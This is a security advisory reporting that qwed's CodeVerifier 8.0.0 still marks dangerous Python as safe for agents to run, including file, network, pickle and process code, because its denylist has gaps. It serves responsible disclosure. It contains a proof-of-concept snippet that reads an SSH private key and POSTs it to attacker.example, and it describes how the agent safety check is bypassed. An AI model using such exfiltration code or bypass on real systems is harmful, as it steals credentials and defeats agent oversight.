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    Security·Advisories·GHSA-9r7q-mx75-hcj7

    CodeVerifier 8.0.0 still ADMITs file read/write, network, pickle and process code (incomplete fix of GHSA-4phf-6h72-9xfg)

    highFixed in 9.1.0GHSA-9r7q-mx75-hcj7 · Published 7 November 2026

    Hello,

    I am an independent security researcher (kta1kri). In qwed 8.0.0 (PyPI, latest) POST /verify/code still returns VERIFIED / admission ADMIT, with a signed proof_ref, for Python that reads and writes arbitrary files, makes network requests, unpickles data and spawns processes. The docs say "File and network access is never admitted" and "Shell and process execution is never admitted". This is a further incomplete fix of GHSA-6rxr-gq43-694g / GHSA-4phf-6h72-9xfg.

    Cause: CodeVerifier._check_python (src/qwed_new/core/code_verifier.py:584-681) checks dotted names against the PYTHON_FILE_NETWORK, PYTHON_PROCESS_EXECUTION and PYTHON_CRITICAL lists. Names missing from those lists pass:

    • io.FileIO (only io.open is listed): file read/write at any path
    • urllib3.* (installed with every qwed install, because requests is a dependency): network egress
    • pickle.Unpickler (only pickle.load/loads are listed)
    • multiprocessing.Process
    • os.environ (an attribute, not a call, so the AST pass never sees it)

    Local lab (8.0.0 FastAPI app, in-process, throwaway SQLite DB, my own API key, no network). POST /verify/code, language python, with: import io, urllib3 key = io.FileIO('/home/user/.ssh/id_rsa').read() urllib3.PoolManager().request('POST', 'https://attacker.example/collect', body=key) -> HTTP 200 {"status":"VERIFIED","admission":"ADMIT","agent_message":"The code passed security verification and is safe to use.", ...}, is_valid true, issues []. qwed_sdk is_admitted() also returns True. The same happens for io.FileIO(...,'w').write, pickle.Unpickler(...).load(), multiprocessing.Process(...).start() and print(os.environ['AWS_SECRET_ACCESS_KEY']). Running the admitted snippets in the lab read a marker file and POSTed it to a local listener, wrote a file, and ran a pickle payload.

    Impact: an agent or integration that acts on QWED's ADMIT decision runs code that exfiltrates files and secrets, writes files such as ~/.ssh/authorized_keys, or runs attacker code. Severity: High (CVSS 3.1 8.1, AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

    Fix: move from a denylist to an allowlist of modules/calls for admitted code (or run the snippet in a sandbox and admit based on observed behaviour); at minimum block the io, pickle, multiprocessing and urllib3 modules and os.environ access.

    kta1kri https://github.com/kta1kri

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